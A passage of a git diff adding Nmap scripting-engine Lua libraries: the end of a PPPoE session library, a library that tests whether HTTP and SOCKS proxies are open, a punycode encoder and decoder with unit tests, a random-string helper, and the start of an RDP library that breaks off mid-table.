+ identifier = 0,
+ }
+ setmetatable(o, self)
+ self.__index = self
+
+ if ( not(nmap.is_privileged()) ) then
+ return nil, "The PPPoE library requires Nmap to be run in privileged mode"
+ end
+
+ -- get src_mac
+ local info = nmap.get_interface_info(iface)
+ if ( not(info) or not(info.mac) ) then
+ return nil, "Failed to get source MAC address"
+ end
+ o.comm = Comm:new(iface, info.mac)
+ return o
+ end,
+
+ -- Sets up the pcap socket for listening and does some other preparations
+ -- @return status true on success, false on failure
+ connect = function(self)
+ return self.comm:connect()
+ end,
+
+
+ -- Performs a PPPoE discovery initiation by sending a PADI request to the
+ -- ethernet broadcast address
+ -- @return status true on success, false on failure
+ -- @return pado instance of PADO on success, err string on failure
+ discoverInit = function(self)
+ local padi = PPPoE.PADI:new()
+ self.comm.dst_mac = ("\xFF"):rep(6)
+ local status, err = self.comm:send(padi)
+ if ( not(status) ) then
+ return false, err
+ end
+ -- wait for a pado
+ local pado, retries = nil, 3
+
+ repeat
+ status, pado = self.comm:recv()
+ if ( not(status) ) then
+ return status, pado
+ end
+ retries = retries - 1
+ until( pado.tags or retries == 0 )
+ if ( not(pado.tags) ) then
+ return false, "PADO response contained no tags"
+ end
+
+ local pado_host_unique
+ for _, tag in ipairs(pado.tags) do
+ if ( PPPoE.TagType.HOST_UNIQUE == tag.tag ) then
+ pado_host_unique = tag.raw
+ end
+ end
+
+ -- store the tags for later use
+ self.tags = pado.tags
+ self.comm.dst_mac = pado.mac_srv
+
+ if ( pado_host_unique and
+ pado_host_unique ~= padi.tags[PPPoE.TagType.HOST_UNIQUE] ) then
+ -- currently, we don't handle this, we probably should
+ -- in order to do so, we need to split the function exch
+ -- to recv and send
+ return false, "Got incorrect answer"
+ end
+
+ return true, pado
+ end,
+
+ -- Performs a Discovery Request by sending PADR to the PPPoE ethernet
+ -- address
+ -- @return status true on success, false on failure
+ -- @return pads instance of PADS on success
+ discoverRequest = function(self)
+
+ -- remove the AC-Name tag if there is one
+ local function getTag(tag)
+ for _, t in ipairs(self.tags) do
+ if ( tag == t.tag ) then
+ return t
+ end
+ end
+ end
+
+ local taglist = {
+ PPPoE.TagType.SERVICE_NAME,
+ PPPoE.TagType.HOST_UNIQUE,
+ PPPoE.TagType.AC_COOKIE
+ }
+
+ local tags = {}
+ for _, t in ipairs(taglist) do
+ if ( getTag(t) ) then
+ table.insert(tags, getTag(t))
+ end
+ end
+
+ local padr = PPPoE.PADR:new(tags)
+ local status, pads = self.comm:exch(padr)
+
+ if ( status ) then
+ self.session = pads.header.session
+ end
+
+ return status, pads
+ end,
+
+ -- Attempts to specify a method for authentication
+ -- If the server responds with another method it's NAK:ed and we try to set
+ -- our requested method instead. If this fails, we return a failure
+ -- @param method string containing one of the following methods:
+ -- <code>MSCHAPv1</code>, <code>MSCHAPv2</code> or <code>PAP</code>
+ -- @return status true on success, false on failure
+ -- err string containing error message on failure
+ setAuthMethod = function(self, method)
+
+ local AuthMethod = {
+ methods = {
+ { name = "EAP", value = "\xC2\x27" },
+ { name = "MSCHAPv1", value = "\xC2\x23\x80" },
+ { name = "MSCHAPv2", value = "\xC2\x23\x81" },
+ { name = "PAP", value = "\xC0\x23" },
+ }
+ }
+
+ AuthMethod.byName = function(name)
+ for _, m in ipairs(AuthMethod.methods) do
+ if ( m.name == name ) then
+ return m
+ end
+ end
+ end
+
+ AuthMethod.byValue = function(value)
+ for _, m in ipairs(AuthMethod.methods) do
+ if ( m.value == value ) then
+ return m
+ end
+ end
+ end
+
+ local auth_data = ( AuthMethod.byName(method) and AuthMethod.byName(method).value )
+ if ( not(auth_data) ) then
+ return false, ("Unsupported authentication mode (%s)"):format(method)
+ end
+
+ self.identifier = self.identifier + 1
+
+ -- First do a Configuration Request
+ local options = { LCP.ConfigOption:new(LCP.ConfigOption.MRU, 1492) }
+ local lcp_req = LCP.ConfigRequest:new(self.identifier, options)
+ local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req))
+ local status, resp = self.comm:exch(sess_req)
+
+ if ( not(status) or PPPoE.Code.SESSION_DATA ~= resp.header.code ) then
+ return false, "Unexpected packet type was received"
+ end
+
+ -- Make sure we got a Configuration Request in return
+ local lcp_header = LCP.Header.parse(resp.data)
+ if ( LCP.Code.CONFIG_REQUEST ~= lcp_header.code ) then
+ return false, ("Unexpected packet type was received (%d)"):format(lcp_header.code)
+ end
+
+ local config_req = LCP.ConfigRequest.parse(resp.data)
+ if ( not(config_req.options) ) then
+ return false, "Failed to retrieve any options from response"
+ end
+
+ local auth_proposed = config_req.options:getById(LCP.ConfigOption.AUTH_PROTO)
+
+ if ( auth_proposed.raw ~= auth_data ) then
+ local options = { LCP.ConfigOption:new(LCP.ConfigOption.AUTH_PROTO, nil, auth_data) }
+ local lcp_req = LCP.ConfigNak:new(self.identifier, options)
+ local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req))
+ local status, resp = self.comm:exch(sess_req)
+
+ if ( not(status) or PPPoE.Code.SESSION_DATA ~= resp.header.code ) then
+ return false, "Unexpected packet type was received"
+ end
+
+ -- Make sure we got a Configuration Request in return
+ local lcp_header = LCP.Header.parse(resp.data)
+ if ( LCP.Code.CONFIG_REQUEST ~= lcp_header.code ) then
+ return false, ("Unexpected packet type was received (%d)"):format(lcp_header.code)
+ end
+
+ config_req = LCP.ConfigRequest.parse(resp.data)
+
+ -- if the authentication methods match, send an ACK
+ if ( config_req.options:getById(LCP.ConfigOption.AUTH_PROTO).raw == auth_data ) then
+ -- The ACK is essential the Config Request, only with a different code
+ -- Do a dirty attempt to just replace the code and send the request back as an ack
+ self.identifier = self.identifier + 1
+
+ local lcp_req = LCP.ConfigAck:new(config_req.header.identifier, config_req.options:getTable())
+ local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req))
+ local status, resp = self.comm:send(sess_req)
+
+ return true
+ end
+
+ return false, "Authentication method was not accepted"
+ end
+
+
+ return false, "Failed to negotiate authentication mechanism"
+ end,
+
+ -- Sends a LCP Terminate Request and waits for an ACK
+ -- Attempts to do so 10 times before aborting
+ -- @return status true on success false on failure
+ close = function(self)
+ local tries = 10
+ repeat
+ if ( 0 == self.session ) then
+ break
+ end
+ local lcp_req = LCP.TerminateRequest:new(self.identifier)
+ local sess_req = PPPoE.SessionData:new(self.session, tostring(lcp_req))
+ local status, resp = self.comm:exch(sess_req)
+ if ( status and resp.header and resp.header.code ) then
+ if ( PPPoE.Code.SESSION_DATA == resp.header.code ) then
+ local lcp_header = LCP.Header.parse(resp.data)
+ if ( LCP.Code.TERMINATE_ACK == lcp_header.code ) then
+ break
+ end
+ end
+ end
+ tries = tries - 1
+ until( tries == 0 )
+
+ self.comm:exch(PPPoE.PADT:new(self.session))
+
+ return true
+ end,
+
+}
+
+return _ENV;
diff --git a/nselib/proxy.lua b/nselib/proxy.lua
new file mode 100644
index 0000000..87a15ee
--- /dev/null
+++ b/nselib/proxy.lua
@@ -0,0 +1,314 @@
+---
+-- Functions for proxy testing.
+--
+-- @args proxy.url Url that will be requested to the proxy
+-- @args proxy.pattern Pattern that will be searched inside the request results
+--
+-- @author Joao Correa <joao@livewire.com.br>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local dns = require "dns"
+local ipOps = require "ipOps"
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local stringaux = require "stringaux"
+_ENV = stdnse.module("proxy", stdnse.seeall)
+
+-- Start of local functions
+
+--- check function, checks for all valid returned status
+--- If any of the HTTP status below is found, the proxy is potentially open
+--- The script tries to split header from body before checking for status
+--@param result connection result
+--@return true if any of the status is found, otherwise false
+local function check_code(result)
+ if result then
+ local header
+ if result:match( "\r?\n\r?\n" ) then
+ result = result:match( "^(.-)\r?\n\r?\n(.*)$" )
+ end
+ if result:lower():match("^http/%d%.%d%s*200") then return true end
+ if result:lower():match("^http/%d%.%d%s*30[12]") then return true end
+ end
+ return false
+end
+
+--- check pattern, searches a pattern inside a response with multiple lines
+--@param result Connection result
+--@param pattern The pattern to be searched
+--@return true if pattern is found, otherwise false
+local function check_pattern(result, pattern)
+ local lines = stringaux.strsplit("\n", result)
+ for i, line in ipairs(lines) do
+ if line:lower():match(pattern:lower()) then return true end
+ end
+ return false
+end
+
+--- check, decides what kind of check should be done on the response,
+--- depending if a specific pattern is being used
+--@param result Connection result
+--@param pattern The pattern that should be checked (must be false, in case of
+--code check)
+--@return true, if the performed check returns true, otherwise false
+local function check(result, pattern)
+ local s_pattern = false
+ local s_code = check_code(result)
+ if s_code and pattern then
+ s_pattern = check_pattern(result, pattern)
+ end
+ return s_code, s_pattern
+end
+
+--- Performs a request to the web server and calls check to check if
+-- the response is a valid result
+--
+--@param socket The socket to send the request through
+--@param req The request to be sent
+--@param pattern The pattern to check for valid result
+--@return check_status True or false. If pattern was used, depends on pattern check result. If not, depends on code check result.
+--@return result The result of the request
+--@return code_status True or false. If pattern was used, returns the result of code checking for the same result. If pattern was not used, is nil.
+local function test(socket, req, pattern)
+ local status, result = socket:send(req)
+ if not status then
+ socket:close()
+ return false, result
+ end
+ status, result = socket:receive()
+ if not status then
+ socket:close()
+ return false, result
+ end
+ socket:close()
+ local s_code, s_pattern = check(result, pattern)
+ if result and pattern then return s_pattern, result, s_code end
+ if result then return s_code, result, nil end
+ return false, nil, nil
+end
+
+--- Builds the GET request and calls test
+-- @param host The host table
+-- @param port The port table
+-- @param proxyType The proxy type to be tested, might be 'socks4', 'socks5' or 'http'
+-- @param test_url The url to send the request
+-- @param hostname The hostname of the server to send the request
+-- @param pattern The pattern to check for valid result
+-- @return the result of the function test (status and the request result)
+function test_get(host, port, proxyType, test_url, hostname, pattern)
+ local status, socket = connectProxy(host, port, proxyType, hostname)
+ if not status then
+ return false, socket
+ end
+ local req = "GET " .. test_url .. " HTTP/1.0\r\nHost: " .. hostname .. "\r\n\r\n"
+ stdnse.debug1("GET Request: %s", req)
+ return test(socket, req, pattern)
+end
+
+--- Builds the HEAD request and calls test
+-- @param host The host table
+-- @param port The port table
+-- @param proxyType The proxy type to be tested, might be 'socks4', 'socks5' or 'http'
+-- @param test_url The url te send the request
+-- @param hostname The hostname of the server to send the request
+-- @param pattern The pattern to check for valid result
+-- @return the result of the function test (status and the request result)
+function test_head(host, port, proxyType, test_url, hostname, pattern)
+ local status, socket = connectProxy(host, port, proxyType, hostname)
+ if not status then
+ return false, socket
+ end
+ local req = "HEAD " .. test_url .. " HTTP/1.0\r\nHost: " .. hostname .. "\r\n\r\n"
+ stdnse.debug1("HEAD Request: %s", req)
+ return test(socket, req, pattern)
+end
+
+--- Builds the CONNECT request and calls test
+-- @param host The host table
+-- @param port The port table
+-- @param proxyType The proxy type to be tested, might be 'socks4', 'socks5' or 'http'
+-- @param hostname The hostname of the server to send the request
+-- @return the result of the function test (status and the request result)
+function test_connect(host, port, proxyType, hostname)
+ local status, socket = connectProxy(host, port, proxyType, hostname)
+ if not status then
+ return false, socket
+ end
+ local req = "CONNECT " .. hostname .. ":80 HTTP/1.0\r\n\r\n"
+ stdnse.debug1("CONNECT Request: %s", req)
+ return test(socket, req, false)
+end
+
+--- Checks if any parameter was used in old or new syntax
+-- and return the parameters
+-- @return url the proxy.url parameter
+-- @return pattern the proxy.pattern parameter
+function return_args()
+ local url = false
+ local pattern = false
+ if nmap.registry.args['proxy.url']
+ then url = nmap.registry.args['proxy.url']
+ elseif nmap.registry.args.proxy and nmap.registry.args.proxy.url
+ then url = nmap.registry.args.proxy.url
+ end
+ if nmap.registry.args['proxy.pattern']
+ then pattern = nmap.registry.args['proxy.pattern']
+ elseif nmap.registry.args.proxy and nmap.registry.args.proxy.url
+ then pattern = nmap.registry.args.proxy.pattern
+ end
+ return url, pattern
+end
+
+--- Creates a socket, performs proxy handshake if necessary
+--- and returns it
+-- @param host The host table
+-- @param port The port table
+-- @param proxyType A string with the proxy type. Might be "http","socks4" or "socks5"
+-- @param hostname The proxy destination hostname
+-- @return status True if handshake succeeded, false otherwise
+-- @return socket A socket with the handshake already done, or an error if
+function connectProxy(host, port, proxyType, hostname)
+ local socket = nmap.new_socket()
+ socket:set_timeout(10000)
+ local status, err = socket:connect(host, port)
+ if not status then
+ socket:close()
+ return false, err
+ end
+ if proxyType == "http" then return true, socket end
+ if proxyType == "socks4" then return socksHandshake(socket, 4, hostname) end
+ if proxyType == "socks5" then return socksHandshake(socket, 5, hostname) end
+ socket:close()
+ return false, "Invalid proxyType"
+end
+
+--- Performs a socks handshake on a socket and returns it
+-- @param socket The socket where the handshake will be performed
+-- @param version The socks version (might be 4 or 5)
+-- @param hostname The proxy destination hostname
+-- @return status True if handshake succeeded, false otherwise
+-- @return socket A socket with the handshake already done, or an error if
+-- status is false
+function socksHandshake(socket, version, hostname)
+ local status, ip = dns.query(hostname)
+ if not status then
+ return false, "Unable to resolve hostname"
+ end
+ if version == 4 then
+ local payload = '\x04\x01\x00\x50' .. ipOps.ip_to_str(ip) .. '\x6e\x6d\x61\x70\x00'
+ local status, response = socket:send(payload)
+ if not status then
+ socket:close()
+ return false, response
+ end
+ status, response = socket:receive()
+ if not status then
+ socket:close()
+ return false, response
+ end
+ if #response < 2 then
+ socket:close()
+ return false, "Invalid or unknown SOCKS response"
+ end
+ local request_status = string.byte(response, 2)
+ local err = string.format("Unknown response (0x%02x)", request_status)
+ if(request_status == 0x5a) then
+ stdnse.debug1('Socks4: Received "Request Granted" from proxy server')
+ return true, socket
+ end
+ if(request_status == 0x5b) then
+ err = "Request rejected or failed"
+ elseif (request_status == 0x5c) then
+ err = "request failed because client is not running identd"
+ elseif (request_status == 0x5d) then
+ err = "request failed because client program and identd report different user-ids"
+ end
+ stdnse.debug1('Socks4: Received "%s" from proxy server', err)
+ return false, err
+ end
+ if version == 5 then
+ local payload = '\x05\x01\x00'
+ local status, err = socket:send(payload)
+ if not status then
+ socket:close()
+ return false, err
+ end
+ local auth
+ status, auth = socket:receive()
+ local r2 = string.byte(auth,2)
+
+ -- If Auth is required, proxy is closed, skip next test
+ if(r2 ~= 0x00) then
+ err = "Authentication Required"
+ else
+ -- If no Auth is required, try to establish connection
+ stdnse.debug1("Socks5: No authentication required")
+ -- Socks5 second payload: Version, Command, Null, Address type, Ip-Address, Port number
+ payload = '\x05\x01\x00\x01' .. ipOps.ip_to_str(ip) .. '\x00\x50'
+ status, err = socket:send(payload)
+ if not status then
+ socket:close()
+ return false, err
+ end
+ local z
+ status, z = socket:receive()
+ if not status then
+ socket:close()
+ return false, z
+ end
+ local request_status = string.byte(z, 2)
+ err = string.format("Unknown response (0x%02x)", request_status)
+ if (request_status == 0x00) then
+ stdnse.debug1('Socks5: Received "Request Granted" from proxy server')
+ return true, socket
+ elseif(request_status == 0x01) then
+ err = "General Failure"
+ elseif (request_status == 0x02) then
+ err = "Connection not allowed by ruleset"
+ elseif (request_status == 0x03) then
+ err = "Network unreachable"
+ elseif (request_status == 0x04) then
+ err = "Host unreachable"
+ elseif (request_status == 0x05) then
+ err = "Connection refused by destination host"
+ elseif (request_status == 0x06) then
+ err = "TTL Expired"
+ elseif (request_status == 0x07) then
+ err = "command not supported / protocol error"
+ elseif (request_status == 0x08) then
+ err = "Address type not supported"
+ end
+ end
+ stdnse.debug1('Socks5: Received "%s" from proxy server', err)
+ return false, err
+ end
+ return false, "Invalid SOCKS version"
+end
+
+--- Checks if two different responses are equal,
+-- if true, the proxy server might be redirecting the requests
+-- to a default page
+--
+-- Functions splits body from head before comparing, to avoid session
+-- variables, cookies...
+--
+-- @param resp1 A string with the response for the first request
+-- @param resp2 A string with the response for the second request
+-- @return bool true if both responses are equal, otherwise false
+function redirectCheck(resp1, resp2)
+ local body1, body2, _
+ if resp1:match( "\r?\n\r?\n" ) then
+ local body1
+ _, body1 = resp1:match( "^(.-)\r?\n\r?\n(.*)$" )
+ if resp2:match( "\r?\n\r?\n" ) then
+ _, body2 = resp2:match( "^(.-)\r?\n\r?\n(.*)$" )
+ if body1 == body2 then
+ return true
+ end
+ end
+ end
+ return false
+end
+
+return _ENV;
diff --git a/nselib/punycode.lua b/nselib/punycode.lua
new file mode 100644
index 0000000..ec389d4
--- /dev/null
+++ b/nselib/punycode.lua
@@ -0,0 +1,479 @@
+---
+-- Library methods for handling punycode strings.
+--
+-- Punycode is a simple and efficient transfer encoding syntax designed
+-- for use with Internationalized Domain Names in Applications (IDNA).
+-- It uniquely and reversibly transforms a Unicode string into an ASCII
+-- string. ASCII characters in the Unicode string are represented
+-- literally, and non-ASCII characters are represented by ASCII
+-- characters that are allowed in host name labels (letters, digits, and
+-- hyphens). This document defines a general algorithm called
+-- Bootstring that allows a string of basic code points to uniquely
+-- represent any string of code points drawn from a larger set.
+-- Punycode is an instance of Bootstring that uses particular parameter
+-- values specified by this document, appropriate for IDNA.
+--
+-- Advantages of Bootstring algorithm are Completeness, Uniqueness,
+-- Reversibility, Efficient encoding, Simplicity and Readability.
+--
+-- Portions of this library were adapted from punycode.js by Mathias Bynens
+-- under the MIT License.
+--
+-- References:
+-- * http://ietf.org/rfc/rfc3492.txt
+-- * punycode.js: https://mths.be/punycode
+--
+-- @author Rewanth Cool
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+local string = require "string"
+local math = require "math"
+local table = require "table"
+local unicode = require "unicode"
+local unittest = require "unittest"
+
+_ENV = stdnse.module("punycode", stdnse.seeall)
+
+-- Localize few functions for a tiny speed boost, since these will be
+-- used frequently.
+local floor = math.floor
+local byte = string.byte
+local char = string.char
+local find = string.find
+local match = string.match
+local reverse = string.reverse
+local sub = string.sub
+
+-- Highest positive signed 32-bit float value
+local maxInt = 0x7FFFFFFF
+
+-- Bootstring parameters
+local base = 0x24
+local tMin = 0x1
+local tMax = 0x1A
+local skew = 0x26
+local damp = 0x2BC
+local initialBias = 0x48
+local initialN = 0x80
+local delimiter = char("0x2D")
+
+-- Convenience shortcuts
+local baseMinusTMin = base - tMin
+
+-- Bias adaptation function as per section 3.4 of RFC 3492.
+-- https://tools.ietf.org/html/rfc3492#section-3.4
+-- The following function is adapted from punycode.js by Mathias Bynens
+-- under the MIT License.
+local function adapt(delta, numPoints, firstTime)
+
+ local k = 0;
+
+ if firstTime then
+ delta = floor(delta / damp)
+ else
+ delta = (delta >> 1)
+ end
+
+ delta = delta + floor(delta / numPoints)
+
+ while delta > (baseMinusTMin * tMax >> 1) do
+ delta = floor(delta / baseMinusTMin)
+ k = k + base
+ end
+
+ return floor(k + (baseMinusTMin + 1) * delta / (delta + skew))
+
+end
+
+-- The following function converts boolean value to integer.
+--
+-- @param status boolean value is given as input.
+-- @return Returns 0/1 based on the given boolean input.
+local function boolToNum(status)
+
+ if status == true then
+ return 1
+ else
+ return 0
+ end
+
+end
+
+-- This function converts a basic code point into a digit/integer.
+--
+-- @param codePoint The basic numeric code point value.
+-- @return The numeric value of a basic code point (for use in
+-- representing integers) in the range `0` to `base - 1`, or `base` if
+-- the code point does not represent a value.
+-- The following function is adapted from punycode.js by Mathias Bynens
+-- under the MIT License.
+local function basicToDigit(codePoint)
+
+ if (codePoint - 0x30 < 0x0A) then
+ return codePoint - 0x16
+ end
+ if (codePoint - 0x41 < 0x1A) then
+ return codePoint - 0x41
+ end
+ if (codePoint - 0x61 < 0x1A) then
+ return codePoint - 0x61
+ end
+
+ return base
+
+end
+
+
+-- This function converts a digit/integer into a basic code point.
+--
+-- @param digit The numeric value of a basic code point.
+-- @return The basic code point whose value (when used for
+-- representing integers) is `digit`, which needs to be in the range
+-- `0` to `base - 1`. If `flag` is non-zero, the uppercase form is
+-- used; else, the lowercase form is used. The behavior is undefined
+-- if `flag` is non-zero and `digit` has no uppercase form.
+-- The following function is adapted from punycode.js by Mathias Bynens
+-- under the MIT License.
+local function digitToBasic(digit, flag)
+ -- 0..25 map to ASCII a..z or A..Z
+ -- 26..35 map to ASCII 0..9
+ return digit + 22 + 75 * boolToNum(digit < 26) - (boolToNum((flag ~= 0)) << 5)
+end
+
+-- Creates a string based on an array of numeric code points.
+--
+-- @param input list-table of Unicode code points
+-- @param decoder Sets the decoding format to be used.
+-- @return The new encoded string
+-- The following function is adapted from punycode.js by Mathias Bynens
+-- under the MIT License.
+function encode_input(input)
+
+ local output = {}
+
+ -- Cache the length.
+ local inputLength = #input
+
+ -- Initialize the state.
+ local n = initialN
+ local delta = 0
+ local bias = initialBias
+
+ -- Handle the basic code points.
+ for _, v in ipairs(input) do
+ if v < 0x80 then
+ table.insert(output, char(v))
+ end
+ end
+
+ local basicLength = #output
+ local handledCPCount = basicLength
+
+ -- `handledCPCount` is the number of code points that have been handled
+ -- `basicLength` is the number of basic code points.
+ -- Finish the basic string with a delimiter unless it's empty.
+ if (basicLength > 0) then
+ table.insert(output, delimiter)
+ end
+
+ -- Main encoding loop:
+ while (handledCPCount < inputLength) do
+ -- All non-basic code points < n have been handled already. Find
+ -- the next larger one:
+ local m = maxInt
+ for _, v in ipairs(input) do
+ if v >= n and v < m then
+ m = v
+ end
+ end
+
+ -- Increase `delta` enough to advance the decoder's <n,i> state to
+ -- <m,0>, but guard against overflow.
+ local handledCPCountPlusOne = handledCPCount + 1
+ if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) then
+ --error('overflow')
+ return nil, "Overflow exception occurred."
+ end
+
+ delta = delta + (m - n) * handledCPCountPlusOne
+ n = m
+
+ for _, currentValue in ipairs(input) do
+
+ if currentValue < n then
+ delta = delta + 1 --Move this down incase of wrong answer
+ if delta > maxInt then
+ --error("overflow")
+ return nil, "Overflow exception occurred."
+ end
+ end
+
+ if (currentValue == n) then
+ -- Represent delta as a generalized variable-length integer.
+ local q = delta
+ local k = base
+
+ repeat
+ local t
+
+ if k <= bias then
+ t = tMin
+ else
+ if k >= bias + tMax then
+ t = tMax
+ else
+ t = k - bias
+ end
+ end
+
+ if q < t then
+ break
+ end
+
+ local qMinusT = q - t
+ local baseMinusT = base - t
+ local ans = digitToBasic(t + qMinusT % baseMinusT, 0)
+
+ table.insert(output, char(ans))
+
+ q = floor(qMinusT / baseMinusT)
+
+ k = k + base
+ until false
+
+ local ans = digitToBasic(q, 0)
+ table.insert(output, char(ans))
+ bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength)
+
+ delta = 0
+ handledCPCount = handledCPCount + 1
+ end
+ end
+
+ delta = delta + 1
+ n = n + 1
+
+ end
+
+ return table.concat(output, '')
+
+end
+
+-- Converts a Punycode string of ASCII-only symbols to a
+-- list-table of Unicode code points.
+--
+-- @param input The Punycode string of ASCII-only symbols.
+-- @return The resulting list-table of Unicode code points.
+-- The following function is adapted from punycode.js by Mathias Bynens
+-- under the MIT License.
+function decode_input(input)
+
+ local output = {}
+ local inputLength = #input
+ local i = 0
+ local n = initialN
+ local bias = initialBias
+
+ local basic
+ if find(reverse(input), delimiter) then
+ basic = #input - find(reverse(input), delimiter)
+ else
+ basic = -1
+ end
+
+ if basic < 0 then
+ basic = 0
+ end
+
+ for j = 1, basic do
+ local c = sub(input, j, j)
+ local value = byte(c)
+
+ if value >= 0x80 then
+ --error("Not basic")
+ return nil, "Not basic exception occurred."
+ end
+ table.insert(output, value)
+ end
+
+ local index
+ if basic > 0 then
+ index = basic + 1
+ else
+ index = 0
+ end
+
+ while index < inputLength do
+ local oldi = i
+ local w = 1
+ local k = base
+
+ repeat
+
+ if index >= inputLength then
+ --error("Invalid input")
+ return nil, "Invalid input exception occurred."
+ end
+
+ local c = sub(input, index+1, index+1)
+ local value = byte(c)
+ local digit = basicToDigit(value)
+
+ index = index + 1
+
+ if (digit >= base or digit > floor((maxInt - i) / w)) then
+ --error('overflow');
+ return nil, "Overflow exception occurred."
+ end
+ i = i + digit * w;
+
+ local t
+ if k <= bias then
+ t = tMin
+ else
+ if k >= bias + tMax then
+ t = tMax
+ else
+ t = k - bias
+ end
+ end
+
+ if digit < t then
+ break
+ end
+
+ local baseMinusT = base - t;
+ if (w > floor(maxInt / baseMinusT)) then
+ --error('overflow');
+ return nil, "Overflow exception occurred."
+ end
+
+ w = w * baseMinusT;
+ k = k + base
+
+ until false
+
+ local out = #output + 1;
+
+ bias = adapt(i - oldi, out, oldi == 0)
+
+ -- `i` was supposed to wrap around from `out` to `0`,
+ -- incrementing `n` each time, so we'll fix that now:
+ if (floor(i / out) > maxInt - n) then
+ --error('overflow');
+ return nil, "Overflow exception occurred."
+ end
+
+ n = n + floor(i / out);
+ i = i % out;
+ for temp = #output, i, -1 do
+ output[temp+1] = output[temp]
+ end
+ output[i+1] = n
+ i = i + 1
+ end
+
+ return output
+
+end
+
+-- Performs punycode encoding on a label
+--
+-- If the label is already ASCII, it is returned as a string. If any encoding
+-- was required, the "xn--" prefix is added.
+--
+-- @param u A list-table of Unicode code points representing a domain label
+-- @return A punycode-encoded ASCII string
+function encode_label(u)
+
+ local flag = false
+
+ -- Looks for non-ASCII character
+ for _, val in pairs(u) do
+
+ if not (val >=0 and val <= 127) then
+ flag = true
+ break
+ end
+
+ end
+
+ if flag then
+
+ local res, err = encode_input(u)
+ if err then
+ return nil, err
+ end
+
+ return 'xn--' .. res
+
+ else
+ return unicode.encode(u, unicode.utf8_enc)
+ end
+
+end
+
+--- Decodes a punycode-encoded label to Unicode.
+--
+-- If the label starts with "xn--", it will be punycode-decoded. Otherwise, it
+-- will be decoded as UTF-8 (ASCII). The return value is always a table of
+-- Unicode code points.
+--
+-- @param s String of input.
+-- @return A table of Unicode code points.
+function decode_label(s)
+
+ if match(s, "^xn%-%-") then
+
+ local res, err = decode_input(sub(s, 5))
+ if err then
+ return nil, err
+ end
+
+ return res
+
+ else
+ return unicode.decode(s, unicode.utf8_dec)
+ end
+
+end
+
+--Ignore the rest if we are not testing.
+if not unittest.testing() then
+ return _ENV
+end
+
+-- Table of punycode test cases.
+local testCases = {
+ {
+ "xn--0zwm56d",
+ "\xe6\xb5\x8b\xe8\xaf\x95"
+ },
+ {
+ "xn--knigsgsschen-lcb0w",
+ "k\xc3\xb6nigsg\xc3\xa4sschen"
+ },
+ {
+ "xn--ab-fsf",
+ "a\xe0\xa5\x8db"
+ },
+ {
+ "xn--maana-pta",
+ "ma\xc3\xb1ana"
+ },
+ {
+ "xn----dqo34k",
+ "\xe2\x98\x83-\xe2\x8c\x98"
+ }
+}
+
+test_suite = unittest.TestSuite:new()
+
+-- Running test cases against Encoding function.
+for i, v in ipairs(testCases) do
+ test_suite:add_test(unittest.equal(unicode.encode(decode_label(v[1]), unicode.utf8_enc), v[2]))
+ test_suite:add_test(unittest.equal(encode_label(unicode.decode(v[2], unicode.utf8_dec)), v[1]))
+end
+
+return _ENV
diff --git a/nselib/rand.lua b/nselib/rand.lua
new file mode 100644
index 0000000..2591807
--- /dev/null
+++ b/nselib/rand.lua
@@ -0,0 +1,94 @@
+--- Functions for generating random data
+--
+-- The strings generated here are not cryptographically secure, but they should
+-- be sufficient for most purposes.
+--
+-- @author Daniel Miller
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+-- @class module
+-- @name rand
+
+local require = require
+local have_openssl, openssl = pcall(require, "openssl")
+
+local math = require "math"
+local random = math.random
+
+local string = require "string"
+local byte = string.byte
+local char = string.char
+local sub = string.sub
+
+local table = require "table"
+local concat = table.concat
+
+local type = type
+local _ENV = {}
+
+local get_random_bytes
+if have_openssl then
+ get_random_bytes = openssl.rand_pseudo_bytes
+else
+ get_random_bytes = require "nmap".get_random_bytes
+end
+
+--- Generate a random string.
+--
+-- You can either provide your own charset or the function will generate random
+-- bytes, which may include null bytes.
+-- @param len Length of the string we want to generate.
+-- @param charset Charset that will be used to generate the string. String or table
+-- @return A random string of length <code>len</code> consisting of
+-- characters from <code>charset</code> if one was provided, or random bytes otherwise.
+random_string = function(len, charset)
+ local t = {}
+ if charset then
+ if type(charset) == "string" then
+ for i=1,len do
+ local r = random(#charset)
+ t[i] = sub(charset, r, r)
+ end
+ else
+ for i=1,len do
+ t[i]=charset[random(#charset)]
+ end
+ end
+ else
+ return get_random_bytes(len)
+ end
+ return concat(t)
+end
+local random_string = random_string
+
+--- Generate a charset that can be passed to <code>random_string</code>
+--
+-- @param left_bound The lower bound character or byte value of the set
+-- @param right_bound The upper bound character or byte value of the set
+-- @param charset Optional, a charset table to augment. By default a new charset is created.
+-- @return A charset table
+function charset(left_bound, right_bound, charset)
+ local t = charset or {}
+ left_bound = type(left_bound)=="string" and byte(left_bound) or left_bound
+ right_bound = type(right_bound)=="string" and byte(right_bound) or right_bound
+ if left_bound > right_bound then
+ return t
+ end
+ for i=left_bound,right_bound do
+ t[#t+1] = char(i)
+ end
+ return t
+end
+local charset = charset
+
+local alpha_charset = charset('a', 'z')
+--- Generate a random alpha word
+--
+-- Convenience wrapper around <code>random_string</code> to generate a random
+-- string of lowercase alphabetic characters.
+-- @param len The length of word to return
+-- @return A string of random characters between 'a' and 'z' inclusive.
+function random_alpha (len)
+ return random_string(len, alpha_charset)
+end
+
+return _ENV
diff --git a/nselib/rdp.lua b/nselib/rdp.lua
new file mode 100644
index 0000000..e468a96
--- /dev/null
+++ b/nselib/rdp.lua
@@ -0,0 +1,453 @@
+---
+-- A minimal RDP (Remote Desktop Protocol) library. Currently has functionality to determine encryption
+-- and cipher support.
+--
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+
+local nmap = require("nmap")
+local stdnse = require("stdnse")
+local string = require "string"
+local asn1 = require "asn1"
+_ENV = stdnse.module("rdp", stdnse.seeall)
+
+-- Server Core Data 2.2.1.4.2
+PROTO_VERSION = {
+ [0x00080001] = " RDP 4.0 server",
+ [0x00080004] = " RDP 5.x, 6.x, 7.x, or 8.x server",
+ [0x00080005] = " RDP 10.0 server",
+ [0x00080006] = " RDP 10.1 server",
